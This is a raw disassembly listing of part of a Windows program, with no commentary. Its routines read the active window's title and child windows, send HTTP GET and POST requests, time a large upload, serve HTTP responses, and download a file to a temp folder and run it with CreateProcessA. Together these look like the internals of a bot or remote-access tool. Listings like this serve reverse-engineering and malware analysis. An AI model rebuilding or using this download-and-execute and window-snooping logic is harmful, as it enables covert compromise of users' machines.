locret_4071F3:				; CODE XREF: sub_4071DD+Aj
		retn	4
sub_4071DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4071F6	proc near		; DATA XREF: .text:0042FEF0o

arg_4		= dword	ptr  8
arg_18		= dword	ptr  1Ch

		cmp	[esp+arg_18], 0
		jnz	short loc_407204
		mov	eax, 80004003h
		jmp	short locret_407256
; ---------------------------------------------------------------------------

loc_407204:				; CODE XREF: sub_4071F6+5j
		cmp	[esp+arg_4], 3EFh
		jnz	short loc_407251
		push	esi
		push	edi
		call	ds:dword_4291F4	; GetForegroundWindow
		push	200h
		mov	esi, offset dword_435D48
		mov	edi, eax
		push	esi
		push	edi
		call	ds:dword_4291F8	; GetWindowTextW
		push	2Dh
		push	esi
		call	sub_41D348
		cmp	eax, esi
		pop	ecx
		pop	ecx
		jbe	short loc_40723D
		and	word ptr [eax-2], 0

loc_40723D:				; CODE XREF: sub_4071F6+40j
		push	0
		push	offset sub_4060DC
		push	edi
		call	ds:dword_429200	; EnumChildWindows
		pop	edi
		xor	eax, eax
		pop	esi
		jmp	short locret_407256
; ---------------------------------------------------------------------------

loc_407251:				; CODE XREF: sub_4071F6+16j
		mov	eax, 80020003h

locret_407256:				; CODE XREF: sub_4071F6+Cj
					; sub_4071F6+59j
		retn	24h
sub_4071F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_407259	proc near		; CODE XREF: sub_4071DD+Fp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		call	sub_40727A
		test	[esp+arg_4], 1
		jz	short loc_407273
		push	[esp+arg_0]
		call	sub_41C7B8
		pop	ecx

loc_407273:				; CODE XREF: sub_407259+Ej
		mov	eax, [esp+arg_0]
		retn	8
sub_407259	endp


; =============== S U B	R O U T	I N E =======================================



sub_40727A	proc near		; CODE XREF: sub_407259+4p
		mov	dword ptr [eax], offset	off_42FED8
		mov	eax, [eax+4]
		test	eax, eax
		jz	short locret_40728D
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

locret_40728D:				; CODE XREF: sub_40727A+Bj
		retn
sub_40727A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4280CC

loc_40728E:				; CODE XREF: sub_4280CC+4Dj
					; sub_4280CC+57j
		push	esi
		push	edi
		mov	esi, eax
		push	0FFFFFFFFh
		push	dword ptr [esi+10h]
		call	ds:dword_429128	; WaitForSingleObject
		mov	eax, esi
		xor	edi, edi
		call	sub_408AF0
		test	eax, eax
		jbe	short loc_4072C4

loc_4072AA:				; CODE XREF: sub_4280CC-20E0Aj
		mov	eax, [esi+4]
		lea	eax, [eax+edi*4]
		push	dword ptr [eax]
		call	sub_41C7B8
		pop	ecx
		mov	eax, esi
		inc	edi
		call	sub_408AF0
		cmp	edi, eax
		jb	short loc_4072AA

loc_4072C4:				; CODE XREF: sub_4280CC-20E24j
		push	dword ptr [esi+10h]
		call	ds:dword_429138	; ReleaseMutex
		push	dword ptr [esi+10h]
		call	ds:dword_4290F0	; CloseHandle
		call	sub_413A1C
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4280CC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4072DE	proc near		; CODE XREF: sub_40B78B+C5p
					; sub_40C14B+1Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	[ebp+arg_0]
		mov	esi, edi
		call	sub_40738E
		test	eax, eax
		jnz	short loc_40732C
		push	0FFFFFFFFh
		push	dword ptr [edi+10h]
		call	ds:dword_429128	; WaitForSingleObject
		push	[ebp+arg_0]
		call	sub_41C350
		push	eax
		call	sub_41BAB5
		push	[ebp+arg_0]
		mov	[ebp+var_4], eax
		push	eax
		call	sub_41C930
		add	esp, 10h
		lea	esi, [ebp+var_4]
		mov	eax, edi
		call	sub_413F72
		push	dword ptr [edi+10h]
		call	ds:dword_429138	; ReleaseMutex

loc_40732C:				; CODE XREF: sub_4072DE+11j
		pop	esi
		leave
		retn	4
sub_4072DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_407331	proc near		; CODE XREF: .text:0040A53Fp
					; .text:0040AD3Fp ...

arg_4		= dword	ptr  8

		mov	eax, esi
		call	sub_408AF0
		test	eax, eax
		jz	short locret_407386
		push	ebx
		push	edi
		push	0FFFFFFFFh
		push	dword ptr [esi+10h]
		call	ds:dword_429128	; WaitForSingleObject
		mov	eax, esi
		xor	ebx, ebx
		call	sub_408AF0
		test	eax, eax
		jbe	short loc_407377
		mov	edi, [esi+4]

loc_407359:				; CODE XREF: sub_407331+44j
		mov	eax, [esp+4+arg_4]
		mov	ecx, [edi]
		call	loc_416FDE
		test	eax, eax
		jnz	short loc_407389
		mov	eax, esi
		inc	ebx
		add	edi, 4
		call	sub_408AF0
		cmp	ebx, eax
		jb	short loc_407359

loc_407377:				; CODE XREF: sub_407331+23j
		xor	edi, edi

loc_407379:				; CODE XREF: sub_407331+5Bj
		push	dword ptr [esi+10h]
		call	ds:dword_429138	; ReleaseMutex
		mov	eax, edi
		pop	edi
		pop	ebx

locret_407386:				; CODE XREF: sub_407331+9j
		retn	4
; ---------------------------------------------------------------------------

loc_407389:				; CODE XREF: sub_407331+35j
		xor	edi, edi
		inc	edi
		jmp	short loc_407379
sub_407331	endp


; =============== S U B	R O U T	I N E =======================================



sub_40738E	proc near		; CODE XREF: sub_4072DE+Ap

arg_0		= dword	ptr  4

		push	edi
		push	0FFFFFFFFh
		push	dword ptr [esi+10h]
		call	ds:dword_429128	; WaitForSingleObject
		mov	eax, esi
		xor	edi, edi
		call	sub_408AF0
		test	eax, eax
		jbe	short loc_4073CA

loc_4073A7:				; CODE XREF: sub_40738E+3Aj
		mov	eax, [esi+4]
		push	[esp+4+arg_0]
		lea	eax, [eax+edi*4]
		push	dword ptr [eax]
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4073DB
		mov	eax, esi
		inc	edi
		call	sub_408AF0
		cmp	edi, eax
		jb	short loc_4073A7

loc_4073CA:				; CODE XREF: sub_40738E+17j
		xor	edi, edi

loc_4073CC:				; CODE XREF: sub_40738E+50j
		push	dword ptr [esi+10h]
		call	ds:dword_429138	; ReleaseMutex
		mov	eax, edi
		pop	edi
		retn	4
; ---------------------------------------------------------------------------

loc_4073DB:				; CODE XREF: sub_40738E+2Ej
		xor	edi, edi
		inc	edi
		jmp	short loc_4073CC
sub_40738E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4073E0	proc near		; CODE XREF: .text:0042792Aj
					; .text:00427BD9j ...
		jmp	sub_413A1C
sub_4073E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4073E5	proc near		; CODE XREF: sub_40C2E7+Ep
					; sub_413F72+5p ...
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_4073EF
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4073EF:				; CODE XREF: sub_4073E5+5j
		mov	eax, [eax+0Ch]
		sub	eax, ecx
		sar	eax, 2
		retn
sub_4073E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4073F8	proc near		; CODE XREF: sub_40C2E7+2Cp
					; sub_413F72+2Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	eax, edi
		call	sub_408AF0
		test	eax, eax
		jnz	short loc_407408
		xor	esi, esi
		jmp	short loc_407412
; ---------------------------------------------------------------------------

loc_407408:				; CODE XREF: sub_4073F8+Aj
		mov	esi, [esp+4+arg_0]
		sub	esi, [edi+4]
		sar	esi, 2

loc_407412:				; CODE XREF: sub_4073F8+Ej
		mov	eax, [esp+4+arg_4]
		push	1
		push	[esp+8+arg_0]
		mov	ecx, edi
		call	sub_4140D0
		mov	eax, [edi+4]
		lea	eax, [eax+esi*4]
		mov	[ebx], eax
		mov	eax, ebx
		pop	esi
		retn	8
sub_4073F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_407431	proc near		; CODE XREF: sub_407D47+45p
					; sub_407DB9+8Fp
		push	400h
		push	esi
		call	sub_4150A5
		mov	dword ptr [esi], offset	off_430048
		mov	eax, esi
		retn
sub_407431	endp


; =============== S U B	R O U T	I N E =======================================



sub_407445	proc near		; DATA XREF: .text:0043004Co
					; .text:004306DCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_407461
		test	[esp+4+arg_0], 1
		jz	short loc_40745B
		push	esi
		call	sub_41C7B8
		pop	ecx

loc_40745B:				; CODE XREF: sub_407445+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_407445	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407461	proc near		; CODE XREF: sub_407445+3p
		jmp	sub_415135
sub_407461	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407466	proc near		; CODE XREF: sub_4077BF+79p
					; sub_4077BF+11Ap ...

var_9B8		= byte ptr -9B8h
var_5B8		= byte ptr -5B8h
var_44		= byte ptr -44h
var_40		= dword	ptr -40h
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 9B8h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		mov	ebx, eax
		call	sub_41C350
		inc	eax
		push	eax
		call	sub_41BAB5
		push	[ebp+arg_0]
		mov	edi, eax
		push	edi
		mov	[ebp+var_1C], edi
		call	sub_41C930
		lea	eax, [ebp+var_8]
		push	eax
		lea	esi, [ebp+var_4]
		call	sub_407779
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		xor	edi, edi
		inc	edi
		add	esp, 14h
		lea	esi, [ebp+var_5B8]
		mov	[ebp+var_18], edi
		call	sub_414878
		mov	ecx, edi
		mov	eax, esi
		call	sub_4148AA
		push	[ebp+var_4]
		mov	ax, 50h
		mov	ecx, esi
		call	sub_414A81
		cmp	eax, 0FFFFFFFFh
		jz	loc_4076C8
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_9B8], 0
		mov	esi, offset word_42FE36
		jnz	short loc_40750B
		test	ebx, ebx
		jz	short loc_40750B
		push	ebx
		call	sub_41C350
		push	eax
		lea	eax, [ebp+var_9B8]
		push	offset aContentLengthD ; "Content-Length: %d\r\nContent-Type: appli"...
		push	eax
		call	sub_41CA2D
		add	esp, 10h
		jmp	short loc_407512
; ---------------------------------------------------------------------------

loc_40750B:				; CODE XREF: sub_407466+82j
					; sub_407466+86j
		cmp	[ebp+arg_8], edi
		mov	ebx, esi
		jnz	short loc_40751A

loc_407512:				; CODE XREF: sub_407466+A3j
		lea	edi, [ebp+var_9B8]
		jmp	short loc_40751C
; ---------------------------------------------------------------------------

loc_40751A:				; CODE XREF: sub_407466+AAj
		mov	edi, esi

loc_40751C:				; CODE XREF: sub_407466+B2j
		push	[ebp+var_8]
		call	sub_41C350
		test	eax, eax
		pop	ecx
		jz	short loc_40752C
		mov	esi, [ebp+var_8]

loc_40752C:				; CODE XREF: sub_407466+C1j
		cmp	[ebp+arg_8], 0
		mov	eax, offset aGet ; "GET"
		jz	short loc_40753C
		mov	eax, offset aPost ; "POST"

loc_40753C:				; CODE XREF: sub_407466+CFj
		push	ebx
		push	edi
		push	[ebp+var_4]
		lea	edi, [ebp+var_5B8]
		push	esi
		push	eax
		push	offset aSSHttp1_1HostS ; "%s /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: "...
		call	sub_414CA6
		add	esp, 18h
		lea	eax, [ebp+var_40]
		call	sub_414E89
		mov	edi, 400h
		mov	esi, eax
		call	sub_414EC6
		and	[ebp+var_14], 0
		and	[ebp+var_8], 0
		or	[ebp+var_4], 0FFFFFFFFh

loc_407576:				; CODE XREF: sub_407466+208j
					; sub_407466+235j
		lea	eax, [ebp+var_5B8]
		lea	edi, [ebp+var_40]
		push	eax
		call	sub_414EDD
		test	eax, eax
		jle	loc_4076B8

loc_40758D:				; CODE XREF: sub_407466+23Fj
		cmp	[ebp+var_28], 0
		jnz	loc_407674
		jmp	loc_407651
; ---------------------------------------------------------------------------

loc_40759C:				; CODE XREF: sub_407466+1FDj
		xor	edi, edi
		cmp	[ebp+var_C], edi
		jnz	loc_4076E3
		cmp	[ebp+var_10], edi
		jz	short loc_4075C5
		push	[ebp+var_40]
		call	sub_41C350
		test	eax, eax
		pop	ecx
		jnz	short loc_4075C5
		mov	[ebp+var_C], 1
		jmp	loc_407651
; ---------------------------------------------------------------------------

loc_4075C5:				; CODE XREF: sub_407466+144j
					; sub_407466+151j
		cmp	[ebp+var_8], edi
		jz	short loc_4075DB
		push	[ebp+var_40]
		call	sub_41C350
		test	eax, eax
		pop	ecx
		jz	loc_407747

loc_4075DB:				; CODE XREF: sub_407466+162j
		mov	esi, offset asc_43015C ; ":"
		push	esi
		push	[ebp+var_40]
		call	sub_41CE46
		mov	ebx, eax
		cmp	ebx, edi
		pop	ecx
		pop	ecx
		jz	short loc_407651
		push	offset aContentLength ;	"Content-Length"
		push	ebx
		call	sub_426D1E
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40761B
		push	esi
		push	edi
		call	sub_41CE46
		cmp	eax, edi
		pop	ecx
		pop	ecx
		jz	short loc_407651
		push	eax
		call	sub_41D59C
		pop	ecx
		mov	[ebp+var_8], eax
		jmp	short loc_407651
; ---------------------------------------------------------------------------

loc_40761B:				; CODE XREF: sub_407466+19Aj
		push	offset aTransferEncodi ; "Transfer-Encoding"
		push	ebx
		call	sub_426D1E
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_407651
		push	esi
		push	edi
		call	sub_41CE46
		cmp	eax, edi
		pop	ecx
		pop	ecx
		jz	short loc_407651
		push	offset aChunked	; "chunked"
		push	eax
		call	sub_41CDC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_407651
		mov	[ebp+var_10], 1

loc_407651:				; CODE XREF: sub_407466+131j
					; sub_407466+15Aj ...
		push	offset asc_42FF68 ; "\r\n"
		push	2
		lea	esi, [ebp+var_40]
		pop	ebx
		call	sub_414F40
		test	eax, eax
		jnz	loc_40759C
		xor	edi, edi

loc_40766B:				; CODE XREF: sub_407466+29Cj
					; sub_407466+2B1j ...
		cmp	[ebp+var_28], edi
		jz	loc_407576

loc_407674:				; CODE XREF: sub_407466+12Bj
		lea	eax, [ebp+var_40]
		call	sub_41501F
		lea	ecx, [ebp+var_40]
		mov	esi, eax
		call	sub_415008
		add	[ebp+var_14], eax
		lea	ecx, [ebp+var_44]
		push	ecx
		push	eax
		push	[ebp+var_40]
		lea	eax, [ebp+var_4]
		call	sub_405D36
		test	esi, esi
		jz	loc_407576
		cmp	[ebp+var_10], 0
		jnz	loc_40758D
		push	3
		lea	eax, [ebp+var_5B8]
		call	sub_414D44

loc_4076B8:				; CODE XREF: sub_407466+121j
		lea	esi, [ebp+var_40]
		call	sub_414EA3
		lea	esi, [ebp+var_4]
		call	sub_405CF2

loc_4076C8:				; CODE XREF: sub_407466+6Dj
		push	3
		lea	eax, [ebp+var_5B8]
		call	sub_414D44
		push	[ebp+var_1C]
		call	sub_41CA28
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4076E3:				; CODE XREF: sub_407466+13Bj
		push	10h
		push	edi
		push	[ebp+var_40]
		call	sub_41CC44
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_407707
		push	3
		lea	eax, [ebp+var_5B8]
		call	sub_414D44
		jmp	loc_40766B
; ---------------------------------------------------------------------------

loc_407707:				; CODE XREF: sub_407466+28Dj
		mov	edx, eax
		lea	eax, [ebp+var_40]
		mov	[ebp+var_C], edi
		call	sub_414FF1
		cmp	[ebp+var_18], edi
		jz	loc_40766B
		push	100h
		push	4
		push	7
		push	0C0000000h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_4]
		call	sub_405CAD
		push	[ebp+var_4]
		call	ds:dword_429100	; SetEndOfFile
		mov	[ebp+var_18], edi
		jmp	loc_40766B
; ---------------------------------------------------------------------------

loc_407747:				; CODE XREF: sub_407466+16Fj
		mov	edx, [ebp+var_8]
		lea	eax, [ebp+var_40]
		call	sub_414FF1
		push	100h
		push	4
		push	7
		push	0C0000000h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_4]
		call	sub_405CAD
		push	[ebp+var_4]
		call	ds:dword_429100	; SetEndOfFile
		jmp	loc_40766B
sub_407466	endp


; =============== S U B	R O U T	I N E =======================================



sub_407779	proc near		; CODE XREF: sub_407466+32p
					; sub_407949+27p

arg_0		= dword	ptr  4

		push	ebx
		push	7
		push	offset aHttp	; "http://"
		push	edi
		xor	ebx, ebx
		mov	[esi], edi
		call	sub_41D5B0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40779A
		lea	eax, [edi+7]
		push	7
		mov	[esi], eax
		pop	ebx

loc_40779A:				; CODE XREF: sub_407779+17j
		push	offset asc_430038 ; "/"
		push	dword ptr [esi]
		call	sub_41CE46
		push	eax
		mov	[esi], eax
		call	sub_41C350
		mov	ecx, [esp+10h+arg_0]
		add	eax, ebx
		add	esp, 0Ch
		lea	eax, [eax+edi+1]
		mov	[ecx], eax
		pop	ebx
		retn
sub_407779	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4077BF	proc near		; CODE XREF: sub_40F1B6+22p
					; sub_40F1FC+1Bp ...

var_35C		= byte ptr -35Ch
var_258		= byte ptr -258h
var_208		= byte ptr -208h
var_154		= byte ptr -154h
var_104		= byte ptr -104h
var_54		= dword	ptr -54h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 35Ch
		push	esi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_154]
		push	eax
		call	sub_41C930
		push	offset aTemp	; "TEMP"
		push	[ebp+arg_4]
		call	sub_426D1E
		add	esp, 10h
		xor	esi, esi
		test	eax, eax
		jnz	short loc_40782B
		lea	eax, [ebp+var_258]
		push	eax
		push	104h
		call	ds:dword_42911C	; GetTempPathA
		lea	eax, [ebp+var_35C]
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_258]
		push	eax
		call	ds:dword_429118	; GetTempFileNameA
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_154]
		push	eax
		call	sub_41C930
		pop	ecx
		pop	ecx

loc_40782B:				; CODE XREF: sub_4077BF+2Dj
		push	esi
		lea	eax, [ebp+var_154]
		push	eax
		push	[ebp+arg_0]
		xor	eax, eax
		call	sub_407466
		add	esp, 0Ch
		cmp	[ebp+arg_8], 1
		jnz	short loc_407885
		push	44h
		pop	eax
		push	eax
		mov	[ebp+var_54], eax
		lea	eax, [ebp+var_54]
		push	esi
		push	eax
		call	sub_41C6D0
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41C6D0
		add	esp, 18h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		lea	eax, [ebp+var_154]
		push	eax
		push	esi
		call	ds:dword_4290EC	; CreateProcessA

loc_407882:				; CODE XREF: sub_4077BF+CAj
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_407885:				; CODE XREF: sub_4077BF+85j
		cmp	[ebp+arg_8], 2
		jnz	short loc_407882
		lea	eax, [ebp+var_154]
		push	eax
		call	sub_416F51
		int	3		; Trap to Debugger

loc_407898:				; CODE XREF: sub_40F27A+17p
		push	ebp
		mov	ebp, esp
		sub	esp, 208h
		lea	eax, [ebp+var_208]
		push	eax
		push	104h
		call	ds:dword_42911C	; GetTempPathA
		lea	eax, [ebp+var_104]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_208]
		push	eax
		call	ds:dword_429118	; GetTempFileNameA
		push	0
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		xor	eax, eax
		call	sub_407466
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_4290DC	; DeleteFileA
		leave
		retn
sub_4077BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4078F0	proc near		; CODE XREF: sub_40F2B3+20p

var_208		= byte ptr -208h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 208h
		lea	eax, [ebp+var_208]
		push	eax
		push	104h
		call	ds:dword_42911C	; GetTempPathA
		lea	eax, [ebp+var_104]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_208]
		push	eax
		call	ds:dword_429118	; GetTempFileNameA
		push	1
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_4]
		call	sub_407466
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_4290DC	; DeleteFileA
		leave
		retn
sub_4078F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407949	proc near		; CODE XREF: sub_40F2F6+17p

var_A80		= byte ptr -0A80h
var_680		= byte ptr -680h
var_10C		= byte ptr -10Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A80h
		push	esi
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C930
		lea	eax, [ebp+var_4]
		push	eax
		lea	esi, [ebp+var_C]
		lea	edi, [ebp+var_10C]
		call	sub_407779
		add	esp, 0Ch
		lea	esi, [ebp+var_680]
		call	sub_414878
		xor	ecx, ecx
		inc	ecx
		mov	eax, esi
		call	sub_4148AA
		push	[ebp+var_C]
		mov	ax, 50h
		mov	ecx, esi
		call	sub_414A81
		cmp	eax, 0FFFFFFFFh
		jz	short loc_407A1A
		mov	esi, ds:dword_4290A8
		and	[ebp+var_8], 0
		push	ebx
		call	esi	; GetTickCount
		mov	ebx, 4B000h
		push	ebx
		push	[ebp+var_C]
		lea	edi, [ebp+var_680]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		mov	[ebp+var_4], eax
		call	sub_414CA6
		add	esp, 0Ch

loc_4079CC:				; CODE XREF: sub_407949+A0j
		push	400h
		lea	eax, [ebp+var_A80]
		push	eax
		lea	edi, [ebp+var_680]
		call	sub_414C2D
		add	[ebp+var_8], eax
		cmp	[ebp+var_8], ebx
		jb	short loc_4079CC
		call	esi	; GetTickCount
		mov	esi, eax
		push	3
		mov	eax, edi
		call	sub_414D44
		sub	esi, [ebp+var_4]
		test	esi, esi
		mov	[ebp+var_4], esi
		fild	[ebp+var_4]
		jge	short loc_407A0B
		fadd	ds:flt_430D30

loc_407A0B:				; CODE XREF: sub_407949+BAj
		fmul	ds:flt_430D2C
		pop	ebx
		fdivr	ds:flt_430D28
		jmp	short loc_407A2D
; ---------------------------------------------------------------------------

loc_407A1A:				; CODE XREF: sub_407949+55j
		push	3
		lea	eax, [ebp+var_680]
		call	sub_414D44
		fld	ds:flt_430D24

loc_407A2D:				; CODE XREF: sub_407949+CFj
		pop	edi
		pop	esi
		leave
		retn
sub_407949	endp


; =============== S U B	R O U T	I N E =======================================



sub_407A31	proc near		; CODE XREF: sub_40F340+3Ap
		mov	eax, offset loc_427A2D
		call	sub_41E550
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		and	dword ptr [edi+4], 0
		or	dword ptr [edi+0Ch], 0FFFFFFFFh
		and	dword ptr [ebp-4], 0
		lea	ebx, [edi+10h]
		mov	esi, ebx
		mov	dword ptr [edi], offset	off_43006C
		call	sub_414878
		lea	eax, [edi+584h]
		push	eax
		call	sub_407D47
		lea	esi, [edi+598h]
		call	sub_40466F
		push	100h
		push	dword ptr [ebp+0Ch]
		lea	eax, [edi+5BCh]
		push	eax
		call	sub_41C5A0
		xor	ecx, ecx
		add	esp, 0Ch
		inc	ecx
		mov	eax, ebx
		call	sub_4148AA
		mov	esi, edi
		call	sub_416AC4
		mov	ecx, [ebp-0Ch]
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	8
sub_407A31	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_407AAF	proc near		; DATA XREF: .text:00430070o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_407ACB
		test	[esp+4+arg_0], 1
		jz	short loc_407AC5
		push	esi
		call	sub_41C7B8
		pop	ecx

loc_407AC5:				; CODE XREF: sub_407AAF+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_407AAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_407ACB	proc near		; CODE XREF: sub_407AAF+3p
		push	edi
		push	3
		lea	eax, [esi+10h]
		mov	dword ptr [esi], offset	off_43006C
		call	sub_414D44
		lea	eax, [esi+598h]
		call	sub_404683
		lea	edi, [esi+584h]
		call	sub_40B9E3
		mov	ecx, esi
		pop	edi
		jmp	sub_416AA6
sub_407ACB	endp

; ---------------------------------------------------------------------------

loc_407AFA:				; DATA XREF: .text:off_43006Co
		mov	eax, offset loc_427B98
		call	sub_41E550
		sub	esp, 5B4h
		push	esi
		push	edi
		mov	edi, ecx
		lea	esi, [ebp-1Ch]
		mov	[ebp-14h], edi
		call	sub_405E63
		and	dword ptr [ebp-4], 0
		push	offset aNull_1	; "null"
		push	6
		push	50h
		mov	eax, esi
		call	sub_405EF4
		add	edi, 10h
		mov	ax, 50h
		mov	ecx, edi
		call	sub_414997
		or	esi, 0FFFFFFFFh
		cmp	eax, esi
		jz	short loc_407B4F
		push	4
		mov	eax, edi
		call	sub_414A0C
		cmp	eax, esi
		jnz	short loc_407B5F

loc_407B4F:				; CODE XREF: .text:00407B40j
		mov	[ebp-4], esi
		lea	esi, [ebp-1Ch]
		call	sub_405EDB
		jmp	loc_407C04
; ---------------------------------------------------------------------------

loc_407B5F:				; CODE XREF: .text:00407B4Dj
		push	ebx
		push	8
		pop	ebx
		mov	esi, edi
		call	sub_414AE0
		mov	esi, [ebp-14h]
		mov	eax, [esi+47Ch]
		push	0
		push	0FFFFFFFFh
		mov	[ebp-10h], eax
		push	0
		lea	eax, [ebp-10h]
		push	eax
		push	1
		call	ds:dword_4292CC	; WSAWaitForMultipleEvents
		cmp	eax, 102h
		jz	short loc_407BF7
		add	esi, 584h
		mov	[ebp-20h], esi

loc_407B98:				; CODE XREF: .text:00407BF5j
		lea	eax, [ebp-4Ch]
		push	eax
		call	sub_414C04
		lea	esi, [ebp-5C0h]
		call	sub_414878
		push	edi
		lea	esi, [ebp-5C0h]
		call	sub_414A1F
		push	21h
		pop	ebx
		lea	esi, [ebp-5C0h]
		call	sub_414AE0
		mov	ecx, [ebp-20h]
		lea	eax, [ebp-5C0h]
		push	eax
		call	sub_407DB9
		mov	ecx, [ebp-14h]
		push	0
		push	0FFFFFFFFh
		mov	[eax+154h], ecx
		push	0
		lea	eax, [ebp-10h]
		push	eax
		push	1
		call	ds:dword_4292CC	; WSAWaitForMultipleEvents
		cmp	eax, 102h
		jnz	short loc_407B98

loc_407BF7:				; CODE XREF: .text:00407B8Dj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	esi, [ebp-1Ch]
		call	sub_405EDB
		pop	ebx

loc_407C04:				; CODE XREF: .text:00407B5Aj
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_407C12	proc near		; DATA XREF: .text:00430054o

arg_0		= dword	ptr  4

		cmp	[esp+arg_0], 1
		push	ebp
		mov	ebp, ecx
		jnz	loc_407D40
		mov	ecx, [ebp+34h]
		mov	edx, [ebp+28h]
		mov	eax, ecx
		imul	eax, 574h
		add	eax, [ebp+18h]
		push	edi
		lea	ecx, [ecx+ecx*8]
		lea	edi, [edx+ecx*4]
		push	eax
		call	sub_414EDD
		test	eax, eax
		jle	loc_407D3F
		push	ebx
		push	esi
		jmp	loc_407CFB
; ---------------------------------------------------------------------------

loc_407C4D:				; CODE XREF: sub_407C12+104j
		mov	eax, [ebp+34h]
		mov	ecx, [ebp+28h]
		lea	eax, [eax+eax*8]
		lea	eax, [ecx+eax*4]
		mov	eax, [eax]
		cmp	byte ptr [eax],	0
		jnz	loc_407CFB
		mov	esi, [ebp+154h]
		mov	ebx, 598h
		add	esi, ebx
		call	sub_4046C9
		test	eax, eax
		jz	short loc_407C89
		mov	eax, [ebp+154h]
		push	1
		add	eax, ebx
		call	sub_404694

loc_407C89:				; CODE XREF: sub_407C12+66j
		mov	edi, [ebp+34h]
		mov	eax, [ebp+154h]
		imul	edi, 574h
		add	edi, [ebp+18h]
		lea	ecx, [eax+5BCh]
		push	ecx
		lea	esi, [eax+598h]
		call	sub_404706
		push	eax
		push	offset aHttp1_1200OkCo ; "HTTP/1.1 200 OK\r\nContent-Length: %d\r\nCo"...
		call	sub_414CA6
		mov	edi, [ebp+34h]
		mov	esi, [ebp+154h]
		imul	edi, 574h
		add	edi, [ebp+18h]
		add	esp, 0Ch
		add	esi, ebx
		call	sub_404706
		mov	esi, [ebp+154h]
		push	eax
		add	esi, ebx
		call	sub_4046F4
